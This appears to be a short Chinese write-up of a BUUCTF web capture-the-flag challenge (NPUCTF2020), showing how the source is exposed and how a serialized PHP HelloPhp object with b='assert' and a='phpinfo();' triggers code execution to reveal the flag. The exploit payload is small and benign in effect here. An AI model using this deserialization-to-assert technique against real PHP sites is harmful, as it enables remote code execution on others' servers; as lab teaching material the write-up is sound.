Buuctf -web wp汇总(二)_第51张图片
访问/time.php?source获得源码
Buuctf -web wp汇总(二)_第52张图片
构造反序列化
由b(a)可以构造b=assert,a=phpinfo ->assert(phpinfo())
反序列化构造,本地payload获得序列化后的值


    class HelloPhp 
    { 
        public $a="phpinfo();"; 
        public $b="assert"; 
    }
    $NPUCTF2020=new HelloPhp();
    echo serialize($NPUCTF2020);
    ?>

传参查看 phpinfo()配置信息 全文查找可以发现flag

PS:在最后构造反序列化的时候用的是eval(phpinfo())一直不行,后来发现原来eval是语言构造器而不是一个函数,不能被可变函数调用,详情可看:动态调用函数时的命令执行对于eval()和assert()的执行问题

你可能感兴趣的:(CTF)